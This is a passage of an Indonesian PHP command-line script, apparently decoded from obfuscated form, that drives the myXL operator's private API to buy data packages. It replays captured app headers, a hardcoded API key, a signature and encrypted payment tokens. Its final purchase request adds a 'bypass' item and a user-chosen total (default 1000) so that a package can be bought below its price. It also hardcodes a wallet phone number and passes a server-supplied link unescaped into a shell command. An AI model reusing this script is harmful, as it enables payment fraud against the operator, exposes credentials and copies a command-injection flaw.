// Menyimpan package_option_code yang dipilih berdasarkan nomor yang dimasukkan pengguna
$index = 1;
foreach ($response1['data']['package_variants'] as $variant) {
foreach ($variant['package_options'] as $option) {
if ($index === $selectedOptionNumber) {
$selectedPackageOptionCode = $option['package_option_code'];
// Simpan data paket yang dipilih
$name = $option['name'];
$price = $option['price'];
$original = $option['original_price'];
break 2; // keluar dari kedua loop
}
$index++;
}
}
} else {
echo "Nomor yang dimasukkan tidak valid.\n";
// Keluar dari script karena nomor yang dimasukkan tidak valid
exit;
}
// Sekarang Anda dapat menggunakan variabel $selectedName, $selectedPrice, dan $selectedOriginalPrice
system('clear');
// echo "\n";
echo "PAKET YANG DIPILIH:\n";
echo "\n";
echo "Name: " . $name . "\n";
echo "Price: " . $price . "\n";
echo "Original Price: " . $original . "\n";
echo "\n";
$continue = strtolower(readline("Ingin melanjutkan? (y/n): "));
if ($continue === 'y') {
// Lanjutkan dengan logika berikutnya di sini
echo "Mohon tunggu...\n";
} else {
echo "Terima kasih!\n";
// Keluar dari script jika pengguna tidak ingin melanjutkan
exit;
}
// CURL PLP
$data = '{
"lang": "en",
"is_enterprise": false,
"is_autobuy": false,
"is_migration": false,
"is_shareable": false,
"is_transaction_routine": false,
"migration_type": "",
"package_family_code": "'.$packageFamilyCode.'",
"package_option_code": "'.$selectedPackageOptionCode.'",
"package_variant_code": "5b59c55b-0dc7-4f34-a6e9-6afa233ad53b"
}';
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'https://api.myxl.xlaxiata.co.id/api/v2/xl-stores/options/detail',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $data,
CURLOPT_HTTPHEADER => array(
'Accept-Encoding: gzip',
'Authorization: Bearer '.$response['id_token'],
'Connection: Keep-Alive',
// 'Content-Length: 382',
'Content-Type: application/json; charset=utf-8',
'Host: api.myxl.xlaxiata.co.id',
'User-Agent: myXL / 6.3.0(797); com.android.vending; (samsung; SM-F731; SDK 32; Android 12)',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-dynatrace: MT_3_5_2312511378_5-0_24d94a15-af8c-49e7-96a0-1ddb48909564_84_2_521',
'X-REQUEST-AT: 2024-03-09T14:26:35.70+08:00',
'X-REQUEST-ID: 071c09c4-d05f-4879-a537-be22de90bca6',
'X-VERSION-APP: 6.3.0'
),
));
$response2 = curl_exec($curl);
curl_close($curl);
// echo "\n\n";
// echo "CODE OPTIONS DETAIL";
// echo "\n\n";
// Handle response
$responseArray = json_decode($response2, true);
if(isset($responseArray['data'])) {
// Process the response data here
$packageOptionCode = $responseArray['data']['package_option']['package_option_code'];
$packageName = $responseArray['data']['package_option']['name'];
$tokenConfirmation = $responseArray['data']['token_confirmation'];
// Lakukan apa pun yang perlu dilakukan dengan token_confirmation di sini
// Misalnya, menyimpannya ke dalam variabel untuk digunakan nanti
// $tokenConfirmationValue = $tokenConfirmation;
// Lanjutkan dengan pemrosesan lainnya
// echo "Package Option Code: " . $packageOptionCode . "\n";
// echo "Package Option Name: " . $packageName . "\n";
// echo "Token Confirmation: " . $tokenConfirmation . "\n";
} else {
echo "Error occurred: " . $response2;
}
// Data JSON yang akan dikirim dalam permintaan curl
$data = '{
"lang": "en",
"is_enterprise": false,
"package_option_code": "'.$packageOptionCode.'"
}';
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'https://api.myxl.xlaxiata.co.id/api/v2/xl-stores/options/addons',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $data,
CURLOPT_HTTPHEADER => array(
'Accept-Encoding: gzip',
'Authorization: Bearer '.$response['id_token'],
'Connection: Keep-Alive',
// 'Content-Length: 150',
'Content-Type: application/json; charset=utf-8',
'Host: api.myxl.xlaxiata.co.id',
'User-Agent: myXL / 6.3.0(797); com.android.vending; (samsung; SM-F731; SDK 32; Android 12)',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-dynatrace: MT_3_5_2312511378_5-0_24d94a15-af8c-49e7-96a0-1ddb48909564_84_2_526',
'X-REQUEST-AT: 2024-03-09T14:26:35.92+08:00',
'X-REQUEST-ID: 22a90a83-b2bb-4bed-af21-bdace6c84055',
'X-VERSION-APP: 6.3.0'
),
));
$response4 = curl_exec($curl);
curl_close($curl);
// echo "\n\n";
// echo "CODE OPTIONS ADDONS";
// echo "\n\n";
// echo $response4;
// Data JSON yang akan dikirim dalam permintaan curl
$data = '{
"lang": "en",
"is_enterprise": false,
"package_option_code": "'.$selectedPackageOptionCode.'"
}';
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'https://api.myxl.xlaxiata.co.id/misc/api/v1/utility/intercept-page',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $data,
CURLOPT_HTTPHEADER => array(
'Accept-Encoding: gzip',
'Authorization: Bearer '.$response['id_token'],
'Connection: Keep-Alive',
// 'Content-Length: 147',
'Content-Type: application/json; charset=utf-8',
'Host: api.myxl.xlaxiata.co.id',
'User-Agent: myXL / 6.3.0(797); com.android.vending; (samsung; SM-F731; SDK 32; Android 12)',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-dynatrace: MT_3_5_2312511378_5-0_24d94a15-af8c-49e7-96a0-1ddb48909564_245_289_546',
'X-REQUEST-AT: 2024-03-09T14:26:44.57+08:00',
'X-REQUEST-ID: 0e71c16b-0f9d-4a67-9eeb-42cf2341e4f8',
'X-VERSION-APP: 6.3.0'
),
));
$response4 = curl_exec($curl);
curl_close($curl);
// echo "\n\n";
// echo "INTERCEPT PAGE";
// echo "\n\n";
// echo $response4;
// Data JSON yang akan dikirim dalam permintaan curl
$data = '{
"is_enterprise": false,
"lang": "en"
}';
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'https://api.myxl.xlaxiata.co.id/api/v1/packages/balance-and-credit',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $data,
CURLOPT_HTTPHEADER => array(
'Accept-Encoding: gzip',
'Authorization: Bearer '.$response['id_token'],
'Connection: Keep-Alive',
// 'Content-Length: 35',
'Content-Type: application/json; charset=utf-8',
'Host: api.myxl.xlaxiata.co.id',
'User-Agent: myXL / 6.3.0(797); com.android.vending; (samsung; SM-F731; SDK 32; Android 12)',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-dynatrace: MT_3_2_2312511378_13-0_24d94a15-af8c-49e7-96a0-1ddb48909564_0_212_74',
'X-REQUEST-AT: 2024-03-09T17:29:43.50+08:00',
'X-REQUEST-ID: 24a0b667-6190-4356-809b-6cd2d939fcae',
'X-VERSION-APP: 6.3.0'
),
));
$response6 = curl_exec($curl);
curl_close($curl);
// echo "\n\n";
// echo "BALANCE";
// echo "\n\n";
// echo $response6;
// Data JSON yang akan dikirim dalam permintaan curl
$data ='{
"lang": "en",
"is_enterprise": false,
"access_token": "'.$response['access_token'].'",
"is_recurring": false
}';
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'https://api.myxl.xlaxiata.co.id/payments/api/v1/myxlwallet/list',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $data,
CURLOPT_HTTPHEADER => array(
'Accept-Encoding: gzip',
'Authorization: Bearer '.$response['id_token'],
'Connection: Keep-Alive',
// 'Content-Length: 958',
'Content-Type: application/json; charset=utf-8',
'Host: api.myxl.xlaxiata.co.id',
'User-Agent: myXL / 6.3.0(797); com.android.vending; (samsung; SM-F731; SDK 32; Android 12)',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-dynatrace: MT_3_2_2312511378_13-0_24d94a15-af8c-49e7-96a0-1ddb48909564_0_207_77',
'X-REQUEST-AT: 2024-03-09T17:29:43.67+08:00',
'X-REQUEST-ID: 2d7d2e6f-a5ba-4570-83ee-295998a8e163',
'X-VERSION-APP: 6.3.0'
),
));
$response7 = curl_exec($curl);
curl_close($curl);
// echo "\n\n";
// echo "MYXLWALLET";
// echo "\n\n";
// echo $response7;
// Data JSON yang akan dikirim dalam permintaan curl
$data = '{
"lang": "en",
"is_enterprise": false,
"is_referral": false,
"payment_target": "'.$packageOptionCode.'",
"payment_type": "PURCHASE",
"token_confirmation": "'.$tokenConfirmation.'"
}';
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'https://api.myxl.xlaxiata.co.id/payments/api/v2/payment-methods-option',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => $data,
CURLOPT_HTTPHEADER => array(
'Accept-Encoding: gzip',
'Authorization: Bearer '.$response['id_token'],
'Connection: Keep-Alive',
'Content-Type: application/json; charset=utf-8',
'Host: api.myxl.xlaxiata.co.id',
'User-Agent: myXL / 6.3.0(797); com.android.vending; (samsung; SM-F731; SDK 32; Android 12)',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'x-dynatrace: MT_3_7_2312511378_9-0_24d94a15-af8c-49e7-96a0-1ddb48909564_0_1019_614',
'X-REQUEST-AT: 2024-03-09T16:12:08.90+08:00',
'X-REQUEST-ID: 84d26e29-13ce-4662-9181-ace42bd099c2',
'X-VERSION-APP: 6.3.0'
),
));
$response5 = curl_exec($curl);
curl_close($curl);
// echo "\n\n";
// echo "PAYMAN";
// echo "\n\n";
$responseArray = json_decode($response5, true);
if(isset($responseArray['data'])) {
// Process the response data here
$timestamp = $responseArray['data']['timestamp'];
$tokenPayment = $responseArray['data']['token_payment'];
// Tampilkan timestamp dan token_payment
// echo "Timestamp: " . $timestamp . "\n";
// echo "Token Payment: " . $tokenPayment . "\n";
} else {
echo "Error occurred: " . $response5;
}
// menu pembayarab
system('clear');
echo "Pilih Menu Pembayaran\n";
echo "\n";
echo "1. DANA\n";
echo "2. GOPAY\n";
echo "3. PULSA\n";
// Mengambil input dari pengguna
echo "Masukkan nomor pilihan: ";
$choice = trim(fgets(STDIN));
// Menyimpan pilihan pengguna ke dalam variabel
$payment_method = '';
$url = '';
if ($choice == '1') {
$payment_method = 'DANA';
$url = 'https://api.myxl.xlaxiata.co.id/payments/api/v2/topup-and-purchase';
} elseif ($choice == '2') {
$payment_method = 'GOPAY';
$url = 'https://api.myxl.xlaxiata.co.id/payments/api/v2/topup-and-purchase';
} elseif ($choice == '3') {
$payment_method = 'BALANCE';
$url = 'https://api.myxl.xlaxiata.co.id/payments/api/v1/sync-purchase';
} else {
echo "Pilihan tidak valid\n";
exit;
}
// INPUT PAYMANT
// Meminta input dari pengguna untuk memilih nomor package option
echo "\n\n";
$userInput = trim(readline("Masukkan total pembayaran (Enter default 1000): "));
// Memeriksa apakah input kosong
if ($userInput === "") {
// Jika kosong, atur nilai default menjadi 1000
$totalAmount = 1000;
} else {
// Jika tidak kosong, gunakan input dari pengguna
$totalAmount = (int)$userInput;
}
// CURL BUY
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => ''.$url.'',
// 'https://api.myxl.xlaxiata.co.id/payments/api/v1/sync-purchase',
// 'https://myxl.xlaxiata.co.id/payments/api/v2/sync-purchase',
// 'https://api.myxl.xlaxiata.co.id/payments/api/v2/topup-and-purchase',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_2_0,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_HEADER => false,
// CURLOPT_RTSP_SESSION_ID => 'b1bbfcd3-d1eb-46d3-9651-ee32371ccbd7',
CURLOPT_POSTFIELDS => '{
"lang": "en",
"is_enterprise": false,
"access_token": "'.$response['access_token'].'",
"additional_data": {
"akrab_m2m_group_id": "false",
"balance_type": "",
"benefit_type": "",
"combo_details": [],
"discount_promo": 0,
"discount_recurring": 0,
"has_bonus": true,
"is_akrab_m2m": false,
"is_family_plan": false,
"is_spend_limit": false,
"is_spend_limit_temporary": false,
"is_switch_plan": false,
"migration_type": "",
"mission_id": "",
"original_price": '.$originalPricebyps.',
"quota_bonus": 0,
"spend_limit_amount": 0,
"tax": 0
},
"akrab_members": [],
"akrab_parent_alias": "",
"authentication_id": "",
"can_trigger_rating": false,
"cc_payment_type": "",
"coupon": "",
"encrypted_authentication_id": "_TVtRWmPBGcGTcSTYjU6-w==f213eb67bb201111",
"encrypted_payment_token": "e7KtDHYO7bs03FP6zAogbA==3d4495589007ae6a",
"ewallet_promo_id": "",
"fingerprint": "",
"is_myxl_wallet": false,
"is_use_point": false,
"items": [
{
"item_code": "'.$code.'",
"item_name": "'.$namebyps.'",
"item_price": 1000,
"tax": 0
},
{
"item_code": "'.$packageOptionCode.'",
"item_name": "'.$name.'",
"item_price": '.$price.',
"tax": 0
}
],
"members": [],
"payment_for": "BUY_PACKAGE",
"payment_method": "'.$payment_method.'",
"payment_token": "",
"pin": "",
"points_gained": 0,
"referral_unique_code": "",
"stage_token": "",
"token": "",
"topup_number": "",
"total_amount": '.$totalAmount.',
"total_discount": 0,
"wallet_number": "082251229834"
}',
CURLOPT_HTTPHEADER => array(
'Host: api.myxl.xlaxiata.co.id',
'x-dynatrace: MT_3_1_4267426591_48-0_24d94a15-af8c-49e7-96a0-1ddb48909564_112_186_306',
'x-api-key: vT8tINqHaOxXbGE7eOWAhA==',
'authorization: Bearer '.$response['id_token'], // Perhatikan bahwa value untuk authorization perlu diisi sesuai dengan token yang valid
// 'x-request-id: 5214b9bf-d57f-4ead-9cf0-fe0a0823c85c',
// 'x-request-at: 2024-03-09T22:33:56.99+07:00',
'x-version-app: 6.3.0',
'x-hv: v3',
'x-signature: 2e5f9716dca41c5569643098669ddddf1c45d3901b93af5155a4f48263aca7ee367bef4a9f36b14bcb7b75da2d59b4787f37bb5b9d1c0ac41bd4ed5c92a351b2',
'user-agent: myXL / 6.3.0(797); com.android.vending; (Xiaomi; Redmi Note 8; SDK 33; Android 13)',
'content-type: application/json; charset=utf-8',
// 'content-length: 2405',
'accept-encoding: gzip',
),
));
$response3 = curl_exec($curl);
curl_close($curl);
// Menampilkan sebagian hasil (misalnya, 100 karakter pertama)
echo "\n\n";
echo "BUY PAKET";
echo "\n\n";
// Dekode URL
// Dekode respons JSON jika respons tidak kosong
if (!empty($response3)) {
// Dekode URL
$decoded_url = urldecode($response3);
// Mengganti karakter \u0026 dengan &
$decoded_url = str_replace('\u0026', '&', $decoded_url);
// Menampilkan hasil
echo $decoded_url;
// Mengonversi respons JSON menjadi array assosiatif
$json_response = json_decode($response3, true);
// Mengekstrak deep link dari data JSON jika $json_response tidak null
if (!is_null($json_response)) {
$deeplink = isset($json_response['data']['deeplink']) ? $json_response['data']['deeplink'] : '';
if (!empty($deeplink)) {
// Membuka tautan di browser
exec("xdg-open '$deeplink'");
} else {
echo "Link pembayan tidak ditemukan.";
}
} else {
echo "Respons JSON tidak valid.";
}
} else {
echo "Respons dari server kosong.";
}
}
echo "\n\n";
echo "Tekan Enter untuk kembali ke menu";
fgets(STDIN);
// Include skrip PHP main.php
include 'main.php';
// Hentikan eksekusi skrip setelah include main.php
exit();
?>
Function Calls
system | 1 |
Stats
MD5 | 66975452399279f5f03c3e0d405feab3 |
Eval Count | 0 |
Decode Time | 133 ms |